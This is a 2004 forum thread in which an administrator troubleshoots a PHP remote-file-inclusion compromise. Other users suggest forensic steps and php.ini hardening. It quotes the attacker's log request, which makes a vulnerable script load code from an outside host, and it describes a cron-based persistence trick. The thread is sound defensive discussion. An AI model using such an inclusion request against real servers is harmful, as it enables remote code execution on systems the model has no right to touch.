ddos or hacked? Please help!!
 

Hi All,

This is the second time this has happened.

Checked my server this morning when I woke up, and was horrified to see my server again connected to the auth port of some computer in .jp

I found this in my access_log

65.39.172.139 - - [23/Oct/2004:18:19:01 +091800] "GET /my/path/default_template.php?page=http://65.39.172.139:113/ HTTP/1.1" 200 2632

In my error log, at the same time I found

/tmp/dsadas: No such file or directory

with no date or time entry, which I have not seen before in my error logs?

output from #top was showing a program called EXE running as user apache on port 80? One of the instances of this strange EXE program was connected from my server to stream.jmi.or.jp:auth. This connection seemed to send packets every couple of minutes, I didnt determine what type. My apache server was still working fine, but when I stopped httpd, the port 80 was still open and running by the EXE program? I had to kill -9 (pid) to get EXE to stop so that I could restart apache

if I did #lsof -g | grep exe

it showed that the program had been started from /var/tmp/dsadas (deleted)

So it looks like something uploaded by one of my php scripts which was called dsadas, executed and then deleted, which caused my server to have a permanent connection established to stream.jmi.or.jp:auth??

The thing is I cannot determine is if my server has been compromised with root access or whether it is just some kind of dos attack? Given the EXE program was only working as user apache.

I added a rule in my iptables to block stream.jmi.or.jp and so far it has worked, but it is hard to know without the scripts being run externally, and last time it happened was about a month ago?

Does anyone have any clues? Is this a php vunerability?

Thanks

Lucas

There is a russian site that talks exactly about the problem I am having, unfortunately I cannot read Russian...


http://www.linux.org.ru/view-message...3Fgroup%3D7300

if I did #lsof -g | grep exe
it showed that the program had been started from /var/tmp/dsadas (deleted)
Next time, logged in as root, try "cp /proc/$(pidof exe)/exe /root/tmp/deleted_exe" to catch deleted binaries.


There is a russian site that talks exactly about the problem I am having
...roughly translated at: http://www.mail-archive.com/debian-s.../msg13667.html ,and another account of the same is at http://tweetypie.doc.ic.ac.uk/~agl02/. Can't verify solution "allow_url_fopen = off", as mentioned this has the potential to break a lot. Please try and report if it works for you, because too many threads on this subject don't post a solution that works (lack of feedback I guess). Please audit your Apache/PHP setup, your php.ini minimally has to have "register globals off", for the rest see the doc suggestions below. Possible workarounds: curl: http://www.php.net/manual/en/ref.curl.php or snoopy: http://sourceforge.net/projects/snoopy/.

Random PHP security docs:
How to Build, Install, Secure & Optimize PHP (php.ini directives explained in part 4): http://www.openna.com/documentations.../php/index.php
SecurePHP: http://securephp.damonkohler.com/index.php/Main_Page
PHP Online doc, IV. Security: http://www.php.net/security

hmmm, thanks for the email.

I tried to do as you said but was not sure where the exe executable was in proc so did an ls | grep and got the following:

# ls -al -R | grep exe
ls: cannot read symbolic link ./10/exe: No such file or directory
ls: cannot read symbolic link ./11/exe: No such file or directory
-r--r--r-- 1 root root 0 Oct 25 01:05 execdomains
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /sbin/init
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
ls: cannot read symbolic link ./12/exe: No such file or directory
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
ls: cannot read symbolic link ./13/exe: No such file or directory
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
ls: cannot read symbolic link ./1646/exe: No such file or directory
ls: cannot read symbolic link ./19/exe: No such file or directory
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/sshd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /bin/bash
ls: cannot read symbolic link ./1909/exe: No such file or directory
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
ls: cannot read symbolic link ./2/exe: No such file or directory
ls: cannot read symbolic link ./20/exe: No such file or directory
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /sbin/syslogd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /sbin/klogd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/snmpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/sshd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/xinetd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /bin/bash
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/postfix/master
ls: cannot read symbolic link ./23/exe: No such file or directory
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/postfix/nqmgr
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/gpm
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/snort-mysql
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/mysqld
ls: cannot read symbolic link ./3/exe: No such file or directory
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/local/bin/pppoeci
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/local/bin/pppoeci
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/crond
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/X11R6/bin/xfs
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/atd
ls: cannot read symbolic link ./4/exe: No such file or directory
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /sbin/mingetty
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /sbin/mingetty
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /sbin/mingetty
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/vsftpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /bin/ls
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /bin/grep
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/saslauthd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/saslauthd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/saslauthd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/saslauthd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/saslauthd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/libexec/postfix/pickup
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/httpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/httpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/httpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/httpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/httpd
ls: cannot read symbolic link ./5/exe: No such file or directory
ls: cannot read symbolic link ./6/exe: No such file or directory
ls: cannot read symbolic link ./7/exe: No such file or directory
ls: cannot read symbolic link ./8/exe: No such file or directory
ls: cannot read symbolic link ./81/exe: No such file or directory
ls: cannot read symbolic link ./9/exe: No such file or directory
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/httpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/httpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/httpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/httpd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /sbin/mingetty
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /sbin/mingetty
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /sbin/mingetty
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /usr/sbin/sshd
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe -> /bin/bash
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe
lrwxrwxrwx 1 root root 0 Oct 25 01:05 exe


What does this suggest???

Thanks

Lucas

changed the following in php.ini

allow_url_fopen = off

I cannot seem to see anything that is not working after changing that config setting.

But, when I changed register global = Off, most of my pages broke!!

Lucas

Most of your pages probably need to be rewritten then.

Register globals is a SERIOUS security risk.

Register globals actuallt isn't THAT big a risk. it does, however, encourage sloppy coding that violates one of the commandments of programming, "Thou shalt not trust user input." If the PHP code is well written, then register_globals should not matter. Of course, things bering as they are, I always prefer to keep it off.

I guess the question is... if I'm expecting a cookie to be set, and the user appends ?cookiename=username to the URL... with register_globals coding, you can't really tell unless you do things the right way. it's a way for sysadmins to enforce proper secure coding on users.

same here
 

Well, I know this is a bit of an old thread, but nearly the same thing happened to me. The process was running as "exe" and was apparently started with command line:

usr/local/apach/bin/httpd

It used the same delete after run trick
exe -> /tmp/upxCYUJPIOAN0L (deleted)
I fixed my php scripts to validate any GET variables, blocked the ip, and am about to do:
allow_url_fopen = off
Thanks for the suggestion.

On my machine the script ran as "nobody" and was connecting to january.medical9.gr.jp (210.169.91.66)

From what I can tell, my server was not root kitted...(ran chkrootkit) but there where hours on end when outbound traffic was maxed out and I couldn't connect.

Killing the process didn't work.... it came back after an hour or so. Checked
/var/spool/cron and found a script called "nobody"... the culprit... that was placed there by the php hole.

Looking inside "nobody" (after moving it to my windows machine :) ) showed the actual ELF as a bunch of octals. The process didn't restart after removing it.

Does anyone know how to tell if it tried to upload my server files elsewhere? I've converted the octals to make an ELF, but don't know if there is more I can do. Maybe some assembly guru can just look and give an estimate on how malevolent it is ?

Anyways, I hope the cron stuff helps someone out.

--tri